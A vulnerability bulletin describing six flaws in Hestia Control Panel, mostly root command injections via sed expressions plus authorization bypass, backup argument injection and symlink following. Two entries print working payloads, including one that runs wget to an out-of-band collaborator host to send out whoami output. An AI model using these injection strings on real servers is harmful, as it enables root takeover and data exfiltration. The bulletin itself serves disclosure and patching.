SB20261110333 - Multiple vulnerabilities in Hestia Control Panel

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Main Vulnerability Database SB20261110333

SB20261110333 - Multiple vulnerabilities in Hestia Control Panel

Published: November 10, 2026

Security Bulletin ID SB20261110333
CSH Severity
Medium
Patch available
YES
Number of vulnerabilities 6
Exploitation vector Remote access
Highest impact Code execution

Breakdown by Severity

Medium 83% Low 17%
  • Low
  • Medium
  • High
  • Critical

Description

This security bulletin contains information about 6 vulnerabilities.


1) OS Command Injection (CVE-ID: N/A)

CWE-ID: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

CVSSv4: 8.7 [CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N]


The vulnerability allows a remote user to execute arbitrary commands as root.

The vulnerability exists due to missing proxy extension validation in Hestia Control Panel's domain editing functionality when a mismatched validation argument allows untrusted extensions into a root-executed sed expression. A remote user can submit x/g;s|.*|id>/tmp/zerofrost|e;s/Z/Z in the Proxy Extensions field to escape the substitution and execute commands as root.


2) Incorrect authorization (CVE-ID: N/A)

CWE-ID: CWE-863 - Incorrect Authorization

CVSSv4: 8.6 [CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N]


The vulnerability allows a remote privileged user to bypass protected root administrator read-only restrictions and gain persistent root-level API access, potentially disclosing or modifying data and disrupting services.

The vulnerability exists due to incorrect authorization in web/add/access-key/index.php when processing access-key creation requests during protected root administrator impersonation without enforcing $read_only. A remote privileged user can submit a POST request to /add/access-key/ in that context to create a reusable root-owned credential, enabling root-scope API operations permitted by its profile outside the browser session.


3) Argument injection (CVE-ID: N/A)

CWE-ID: CWE-88 - Argument Injection or Modification

CVSSv4: 7.7 [CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N]


The vulnerability allows a remote user to execute arbitrary commands as root.

The vulnerability exists due to improper neutralization of argument delimiters in HestiaCP's bin/v-backup-user when tenant-controlled filenames are passed as positional arguments to the root-run archiver. A remote user can create specially named files in an included tenant-owned directory that the archiver interprets as program-execution options during the next local or pre-action backup to execute commands as root.


4) OS Command Injection (CVE-ID: N/A)

CWE-ID: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

CVSSv4: 8.7 [CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N]


The vulnerability allows a remote user to execute arbitrary commands as root on the hosting server.

The vulnerability exists due to OS command injection in HestiaCP's v-change-web-domain-ftp-path script when an insufficiently validated FTP path is interpolated into a GNU sed expression. A remote user can submit an existing FTP account's path containing %<newline>e wget -q $(whoami | xxd -p | tr -d [:space:]).COLLAB.oastify.com >&2;# through /edit/web/ for an owned web domain to execute commands through sed's e command as root.


5) Link following (CVE-ID: N/A)

CWE-ID: CWE-59 - Improper Link Resolution Before File Access ('Link Following')

CVSSv4: 7.2 [CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N]


The vulnerability allows a remote user to modify or delete data outside their account and cause a denial of service.

The vulnerability exists due to improper link resolution in Hestia Control Panel restore commands when performing root-level cleanup and copy operations without checking user-controlled paths for symbolic links or unexpected ownership. A remote user can manipulate paths inside their home directory and request restoration of their own backup to redirect privileged file operations outside their account.


6) OS Command Injection (CVE-ID: N/A)

CWE-ID: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

CVSSv4: 8.7 [CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N]


The vulnerability allows a remote user to execute arbitrary commands as root on the hosting server.

The vulnerability exists due to OS command injection in Hestia Control Panel's bin/v-delete-user-ssh-key when a user-controlled keyid is interpolated into a GNU sed expression after validation checks the wrong variable. A remote user can submit a crafted key parameter to /delete/key/ using sed's e command to execute shell commands with root privileges.


Remediation

Install update from vendor's website.

References